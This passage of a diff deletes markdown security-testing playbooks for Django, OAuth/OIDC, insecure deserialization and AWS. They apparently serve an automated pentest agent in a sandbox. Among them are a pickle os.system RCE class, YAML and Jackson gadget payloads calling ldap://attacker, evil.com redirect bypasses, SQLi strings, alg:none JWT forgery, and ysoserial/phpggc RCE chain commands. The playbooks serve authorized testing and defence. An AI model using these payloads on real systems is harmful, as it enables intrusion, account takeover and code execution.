- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)
|
||||
|
||||
## Impact
|
||||
|
||||
- Mass data exfiltration from S3/RDS/snapshots
|
||||
- Full account or organization compromise via IAM escalation
|
||||
- Persistent backdoor access through new keys or roles
|
||||
- Regulatory exposure (PII/PCI in unencrypted public buckets)
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always run `get-caller-identity` first to know your effective principal
|
||||
2. Distinguish 403 vs 404 on S3 — both are useful, mean different things
|
||||
3. Check instance profile role, not just user credentials, from metadata
|
||||
4. Review trust policies on roles, not just permission policies
|
||||
5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs
|
||||
|
||||
## Tooling
|
||||
|
||||
Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.
|
||||
|
||||
- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.
|
||||
- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:
|
||||
```
|
||||
git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam
|
||||
pip install -r requirements.txt
|
||||
python enumerate-iam.py --access-key AKIA... --secret-key ...
|
||||
```
|
||||
- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:
|
||||
```
|
||||
pipx install cloudsplaining
|
||||
aws iam get-account-authorization-details > auth.json
|
||||
cloudsplaining scan --input-file auth.json
|
||||
```
|
||||
- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`
|
||||
- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).
|
||||
|
||||
## Summary
|
||||
|
||||
AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.
|
||||
@@ -1,214 +0,0 @@
|
||||
---
|
||||
name: django
|
||||
description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues
|
||||
---
|
||||
|
||||
# Django
|
||||
|
||||
Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Core Components**
|
||||
- URL routing (`urls.py`), class-based and function views, middleware stack
|
||||
- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations
|
||||
- Templates (Django template language, Jinja2 if configured)
|
||||
- Forms, ModelForms, serializers (DRF)
|
||||
|
||||
**Authentication**
|
||||
- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`
|
||||
- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations
|
||||
- Django admin (`/admin/`), staff/superuser flags
|
||||
|
||||
**Deployment**
|
||||
- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage
|
||||
- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)
|
||||
|
||||
## High-Value Targets
|
||||
|
||||
- `/admin/` — brute force, credential stuffing, IDOR on admin objects
|
||||
- API endpoints with mixed permission classes across ViewSets
|
||||
- File upload (`FileField`, `ImageField`), import/export (django-import-export)
|
||||
- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL
|
||||
- Password reset, email verification, invitation tokens
|
||||
- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents
|
||||
- Celery task triggers accepting user IDs without ownership checks
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Fingerprinting**
|
||||
```
|
||||
curl -I https://target/ -H "Cookie: sessionid=test"
|
||||
# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header
|
||||
GET /admin/login/
|
||||
GET /api/ /api/v1/ /swagger/ /api/schema/
|
||||
```
|
||||
|
||||
**Settings Leakage (when DEBUG=True or misconfigured)**
|
||||
- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps
|
||||
- `/static/`, error pages with stack traces revealing paths and ORM queries
|
||||
|
||||
**OpenAPI / DRF**
|
||||
```
|
||||
GET /api/schema/
|
||||
GET /swagger.json
|
||||
```
|
||||
Map endpoints, authentication classes, and permission classes per route.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Authentication & Authorization
|
||||
|
||||
**Permission Class Gaps**
|
||||
- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`
|
||||
- Custom permissions checking authentication but not object ownership (IDOR)
|
||||
- `@api_view` without explicit permissions inheriting permissive defaults
|
||||
- Admin actions or custom management commands without staff checks
|
||||
|
||||
**Session Issues**
|
||||
- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`
|
||||
- Session fixation if session key not rotated on login
|
||||
- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)
|
||||
|
||||
**JWT (simplejwt)**
|
||||
- RS256→HS256 confusion if algorithm pinning is misconfigured
|
||||
- Missing `user_id`/`token` blacklist on logout
|
||||
- Refresh token rotation not enforced
|
||||
|
||||
### Injection
|
||||
|
||||
**ORM SQL Injection**
|
||||
Vulnerable patterns (more common in legacy code):
|
||||
```python
|
||||
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")
|
||||
User.objects.extra(where=[f"username = '{user_input}'"])
|
||||
```
|
||||
Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.
|
||||
|
||||
**DRF Filter Backends**
|
||||
- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns
|
||||
- Ordering injection via `?ordering=` if field whitelist missing
|
||||
|
||||
**Template Injection**
|
||||
Django templates auto-escape by default; risk rises with:
|
||||
```python
|
||||
mark_safe(user_input)
|
||||
|safe filter in templates
|
||||
Template(user_input).render(...) # SSTI if user controls template source
|
||||
```
|
||||
Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.
|
||||
|
||||
### CSRF
|
||||
|
||||
- `@csrf_exempt` on state-changing views
|
||||
- DRF session authentication without CSRF enforcement on unsafe methods
|
||||
- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)
|
||||
- `CSRF_TRUSTED_ORIGINS` too broad
|
||||
|
||||
**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.
|
||||
|
||||
### IDOR and Mass Assignment
|
||||
|
||||
**DRF Serializers**
|
||||
- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`
|
||||
- `read_only_fields` missing on sensitive ModelSerializer fields
|
||||
- Nested writes updating foreign keys across tenants
|
||||
|
||||
**Object-Level Permissions**
|
||||
- `get_object()` without filtering queryset by request.user
|
||||
- Generic views with `queryset = Model.objects.all()` and weak permissions
|
||||
|
||||
### File Handling
|
||||
|
||||
- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx
|
||||
- Path traversal in custom file download views using user-supplied paths
|
||||
- SVG/HTML uploads served with `Content-Type` that enables XSS
|
||||
- Missing file size/type validation on uploads
|
||||
|
||||
### SSRF
|
||||
|
||||
- `requests.get(user_url)` in webhooks, preview, import features
|
||||
- Celery tasks fetching user URLs server-side
|
||||
- Test loopback, metadata IPs, redirect chains
|
||||
|
||||
### Host Header / Password Reset
|
||||
|
||||
- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns
|
||||
- Password reset emails built from `Host` header → poisoned reset links
|
||||
- Cache poisoning via unkeyed Host header on cached pages
|
||||
|
||||
### Django Admin
|
||||
|
||||
- Default `/admin/` path with weak credentials
|
||||
- `has_add_permission` / `has_change_permission` overrides with logic bugs
|
||||
- ModelAdmin exposing sensitive fields in list_display or export
|
||||
|
||||
### Channels / WebSocket
|
||||
|
||||
- Consumer accepts connection without session/auth parity to HTTP
|
||||
- Group name derived from user input → subscribe to other users' channels
|
||||
- Missing origin validation on WebSocket handshake
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
- Content negotiation: JSON vs form data hitting different parser/permission paths
|
||||
- HTTP method override or trailing slash routing to alternate view
|
||||
- Parameter pollution: duplicate `id` fields in query and body
|
||||
- Race on state transitions (coupon redemption, inventory) via parallel requests
|
||||
- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Map surface** — URLs, DRF schema, admin, static/media paths
|
||||
2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method
|
||||
3. **Object ownership** — Swap IDs across two user accounts on every CRUD route
|
||||
4. **Serializer audit** — Identify writable sensitive fields and nested relations
|
||||
5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs
|
||||
6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents
|
||||
7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags
|
||||
|
||||
## Validation
|
||||
|
||||
1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)
|
||||
2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)
|
||||
3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)
|
||||
4. Document view/serializer/permission class where enforcement failed
|
||||
5. Show admin or staff capability gained from regular user context if applicable
|
||||
|
||||
## False Positives
|
||||
|
||||
- `queryset.filter(user=request.user)` consistently applied including nested routes
|
||||
- Object-level permission class correctly validates ownership on all actions
|
||||
- DEBUG=False and generic error pages with no settings leakage confirmed
|
||||
- Mark_safe used only on server-generated trusted content
|
||||
- CSRF correctly enforced on all session-authenticated unsafe methods
|
||||
|
||||
## Impact
|
||||
|
||||
- Account takeover via session forgery or password reset poisoning
|
||||
- Horizontal/vertical privilege escalation through IDOR and mass assignment
|
||||
- Data breach via ORM/SQL injection or excessive serializer fields
|
||||
- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes
|
||||
2. Check `APIView` subclasses for missing `permission_classes` — common oversight
|
||||
3. Test `?format=` and browsable API HTML responses for CSRF on session auth
|
||||
4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin
|
||||
5. Compare ASGI WebSocket consumers against REST permissions for the same resource
|
||||
|
||||
## Tooling
|
||||
|
||||
Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.
|
||||
|
||||
- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`
|
||||
- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`
|
||||
- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`
|
||||
- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`
|
||||
|
||||
For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).
|
||||
|
||||
## Summary
|
||||
|
||||
Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.
|
||||
@@ -1,185 +0,0 @@
|
||||
---
|
||||
name: oauth
|
||||
description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration
|
||||
---
|
||||
|
||||
# OAuth 2.0 / OIDC
|
||||
|
||||
OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Flows**
|
||||
- Authorization code (with/without PKCE)
|
||||
- Implicit (legacy), hybrid, device authorization, client credentials
|
||||
- Refresh token rotation, token introspection, revocation
|
||||
|
||||
**Endpoints**
|
||||
- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`
|
||||
- `/.well-known/openid-configuration`, `/jwks.json`
|
||||
- Dynamic client registration (if enabled)
|
||||
|
||||
**Token Types**
|
||||
- Authorization codes, access tokens, refresh tokens, ID tokens
|
||||
- Opaque vs JWT formats; reference tokens vs self-contained JWTs
|
||||
|
||||
**Client Types**
|
||||
- Public clients (SPAs, mobile) vs confidential (server-side)
|
||||
- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Discovery**
|
||||
```
|
||||
GET /.well-known/openid-configuration
|
||||
GET /oauth2/.well-known/openid-configuration
|
||||
GET /.well-known/oauth-authorization-server
|
||||
```
|
||||
|
||||
Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.
|
||||
|
||||
**Client Enumeration**
|
||||
- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes
|
||||
- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Redirect URI Manipulation
|
||||
|
||||
**Open Redirect Chains**
|
||||
- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards
|
||||
- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants
|
||||
|
||||
```
|
||||
https://app.com/callback.evil.com
|
||||
https://app.com/callback%2f..%2f@evil.com
|
||||
https://app.com/callback?next=https://evil.com
|
||||
com.app://callback (mobile custom scheme)
|
||||
```
|
||||
|
||||
**Redirect URI Validation Bypasses**
|
||||
- Trailing slash, case, port, scheme downgrade (`http` vs `https`)
|
||||
- Path normalization differentials between IdP validator and consuming app
|
||||
- `redirect_uri` parameter pollution (first vs last wins)
|
||||
- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain
|
||||
|
||||
### Authorization Code Issues
|
||||
|
||||
**Code Leakage**
|
||||
- Codes in URL fragments, Referer headers, browser history, server logs, analytics
|
||||
- Code replay before expiry; missing one-time-use enforcement
|
||||
- Code sent to wrong redirect_uri if binding is weak
|
||||
|
||||
**Code Injection / Mix-Up**
|
||||
- Attacker initiates flow, victim completes login, code delivered to attacker's redirect
|
||||
- Mix-up attack: swap `client_id` between authorize and token steps
|
||||
- Missing `redirect_uri` binding at token endpoint
|
||||
|
||||
### State and Nonce
|
||||
|
||||
- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)
|
||||
- Missing `nonce` in OIDC → ID token injection/replay
|
||||
- `state` not bound to client session or PKCE verifier
|
||||
|
||||
### PKCE Bypass
|
||||
|
||||
- `code_challenge_method` downgrade: accept `plain` instead of `S256`
|
||||
- Missing PKCE requirement on public clients
|
||||
- `code_verifier` not validated or compared case-insensitively with weak matching
|
||||
- Authorization code issued without challenge, token endpoint accepts any verifier
|
||||
|
||||
### Client Authentication
|
||||
|
||||
**Public Client Abuse**
|
||||
- Token endpoint accepts requests without `client_secret` for confidential clients
|
||||
- `client_id` only authentication on token/introspection endpoints
|
||||
- Dynamic registration with attacker-controlled redirect URIs
|
||||
|
||||
**Secret Leakage**
|
||||
- Hardcoded secrets in mobile apps, SPAs, or public repos
|
||||
- `client_secret` accepted in query string or logged in access logs
|
||||
|
||||
### Scope and Token Issues
|
||||
|
||||
- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes
|
||||
- Refresh token not rotated or reuse not detected → persistent access
|
||||
- Access token accepted across services (missing audience/resource binding)
|
||||
- Token introspection returns `active:true` without proper auth on introspection endpoint
|
||||
|
||||
### OpenID Connect Specific
|
||||
|
||||
- ID token accepted as access token at resource servers (token confusion)
|
||||
- `acr`, `amr`, `auth_time` not validated for step-up requirements
|
||||
- Userinfo endpoint returns PII without matching access token scope
|
||||
- `sub` collision across issuers if `iss` not validated
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
**Referer Leakage**
|
||||
- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows
|
||||
|
||||
**Device Flow Abuse**
|
||||
- Poll `device_code` endpoint with guessed codes; slow rate limits only
|
||||
- User approves attacker-initiated device login
|
||||
|
||||
**Account Linking**
|
||||
- OAuth login links attacker's IdP identity to victim's local account without re-auth
|
||||
- Email collision: same email from different IdP providers
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Map flows** — Identify all grant types, clients, and redirect URIs in use
|
||||
2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks
|
||||
3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow
|
||||
4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method
|
||||
5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance
|
||||
6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak
|
||||
2. Show account takeover or access to victim resources with attacker's OAuth session
|
||||
3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable
|
||||
4. Document exact validation gap (redirect binding, PKCE, state, audience)
|
||||
5. Provide full authorize → callback → token request chain with before/after evidence
|
||||
|
||||
## False Positives
|
||||
|
||||
- Redirect URI rejected consistently across all bypass attempts
|
||||
- Public client correctly requires PKCE S256 with strict verifier validation
|
||||
- `state`/`nonce` enforced and bound; CSRF test fails as expected
|
||||
- Token audience/issuer correctly validated at resource server
|
||||
- Custom scheme redirects require app ownership proof (verified Android/iOS app links)
|
||||
|
||||
## Impact
|
||||
|
||||
- Full account takeover via stolen authorization codes or tokens
|
||||
- Persistent access through refresh token theft
|
||||
- Cross-tenant or cross-client data access via token confusion
|
||||
- PII exposure from userinfo or ID token claim leakage
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always capture the full redirect chain including intermediate 302 locations
|
||||
2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)
|
||||
3. Test both web and mobile clients — validation rules often differ
|
||||
4. Check logout/revocation — tokens may remain valid after "logout"
|
||||
5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes
|
||||
|
||||
## Tooling
|
||||
|
||||
The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.
|
||||
|
||||
- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):
|
||||
```
|
||||
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> # decode/inspect
|
||||
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a # alg:none
|
||||
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem # RS256->HS256 confusion
|
||||
```
|
||||
- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.
|
||||
|
||||
Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.
|
||||
|
||||
## Summary
|
||||
|
||||
OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.
|
||||
@@ -1,188 +0,0 @@
|
||||
---
|
||||
name: insecure-deserialization
|
||||
description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
|
||||
---
|
||||
|
||||
# Insecure Deserialization
|
||||
|
||||
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Formats**
|
||||
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
|
||||
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
|
||||
- PHP: `unserialize()`, Phar deserialization
|
||||
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
|
||||
- Ruby: `Marshal.load`, YAML.load
|
||||
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
|
||||
|
||||
**Input Locations**
|
||||
- Cookies, session tokens, hidden form fields
|
||||
- API parameters (`data`, `state`, `object`, base64 blobs)
|
||||
- Message queues, WebSocket binary frames, file uploads
|
||||
- Cache entries, database columns storing serialized objects
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Detection Signals**
|
||||
- Base64 blobs starting with magic bytes:
|
||||
- Java: `ac ed 00 05` (hex `rO0` base64)
|
||||
- PHP: `O:`, `a:`, `s:` prefixes after decode
|
||||
- .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
|
||||
- `Content-Type` with binary or custom serialization
|
||||
- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
|
||||
|
||||
**White-Box Indicators**
|
||||
```
|
||||
pickle.loads unserialize( ObjectInputStream BinaryFormatter
|
||||
yaml.load readObject( TypeNameHandling Marshal.load
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Java Deserialization
|
||||
|
||||
**Gadget Chains**
|
||||
- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
|
||||
- Tools: ysoserial (authorized testing only), manual chain selection by classpath
|
||||
|
||||
**Test Flow**
|
||||
1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
|
||||
2. Fingerprint library versions from errors, headers, or bundled libs
|
||||
3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
|
||||
|
||||
**Jackson / JSON Typing**
|
||||
```json
|
||||
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
|
||||
```
|
||||
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
|
||||
|
||||
### Python Pickle
|
||||
|
||||
Pickle executes arbitrary code during unpickling by design:
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class Exploit:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('id',))
|
||||
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
|
||||
```
|
||||
|
||||
**YAML**
|
||||
```yaml
|
||||
!!python/object/apply:os.system ['id']
|
||||
```
|
||||
When `yaml.load` used instead of `yaml.safe_load`.
|
||||
|
||||
### PHP unserialize()
|
||||
|
||||
**Object Injection**
|
||||
- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
|
||||
- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
|
||||
|
||||
**Phar Deserialization**
|
||||
- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
|
||||
|
||||
### .NET Deserialization
|
||||
|
||||
**BinaryFormatter / LosFormatter**
|
||||
- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
|
||||
|
||||
**Json.NET**
|
||||
```json
|
||||
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
|
||||
```
|
||||
When `TypeNameHandling` != `None`.
|
||||
|
||||
**ViewState**
|
||||
- MAC disabled or weak machine keys → forge deserialized view state
|
||||
|
||||
### Ruby Marshal
|
||||
|
||||
- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
**Signed Blob Bypass**
|
||||
- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
|
||||
- Strip signature and test unsigned code paths
|
||||
- Length extension on MAC if applicable (older custom schemes)
|
||||
|
||||
**Second-Order Deserialization**
|
||||
- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
|
||||
|
||||
**Compression Wrappers**
|
||||
- Gzip/base64 nested encoding bypassing naive WAF inspection
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
|
||||
2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
|
||||
3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
|
||||
4. **Gadget selection** — Match classpath/runtime version to available chains
|
||||
5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
|
||||
6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
|
||||
2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
|
||||
3. Provide encoded payload and exact injection point (cookie name, parameter, header)
|
||||
4. Confirm on fixed version or alternate instance that identical payload fails safely
|
||||
5. Document library/version and gadget chain class names for remediation
|
||||
|
||||
## False Positives
|
||||
|
||||
- Base64 data is encrypted or signed with verified HMAC before deserialization
|
||||
- Only primitive types deserialized (whitelist schema, no polymorphic types)
|
||||
- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
|
||||
- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
|
||||
- Error mentions serialization class but input is never passed to unmarshal (dead code path)
|
||||
|
||||
## Bypass Methods
|
||||
|
||||
- Encoding layers: base64 → gzip → serialize
|
||||
- Alternative parameters storing same session (`session`, `session_backup`, `state`)
|
||||
- Switch content-type or parameter location (GET vs POST vs cookie)
|
||||
- Type confusion: JSON array vs object hitting different deserializer branches
|
||||
- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
|
||||
|
||||
## Impact
|
||||
|
||||
- Remote code execution on application servers
|
||||
- Authentication bypass via forged session objects
|
||||
- Privilege escalation through manipulated role/admin fields in deserialized classes
|
||||
- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
|
||||
2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
|
||||
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
|
||||
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
|
||||
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
|
||||
|
||||
## Tooling
|
||||
|
||||
Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
|
||||
|
||||
| Tool | Language / format | Use |
|
||||
|------|-------------------|-----|
|
||||
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
|
||||
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
|
||||
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
|
||||
|
||||
```
|
||||
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
|
||||
java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
|
||||
|
||||
# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
|
||||
./phpggc -b Laravel/RCE9 system id
|
||||
```
|
||||
|
||||
Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
|
||||
|
||||
## Summary
|
||||
|
||||
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.
|
||||
@@ -1,142 +0,0 @@
|
||||
---
|
||||
name: prototype-pollution
|
||||
description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
|
||||
---
|
||||
|
||||
# Prototype Pollution
|
||||
|
||||
Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Languages & Runtimes**
|
||||
- JavaScript/TypeScript (browser and Node.js)
|
||||
- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
|
||||
- Server-side template engines and config merge utilities
|
||||
|
||||
**Input Vectors**
|
||||
- JSON request bodies, query strings, multipart form fields
|
||||
- URL-encoded nested objects (`__proto__[key]=value`)
|
||||
- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
|
||||
|
||||
**Vulnerable Patterns**
|
||||
- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
|
||||
- Query parsers: `qs`, `body-parser` with nested object support
|
||||
- Client-side routing, state hydration, analytics SDK config merges
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Client-Side Prototype Pollution
|
||||
|
||||
**Gadget Effects**
|
||||
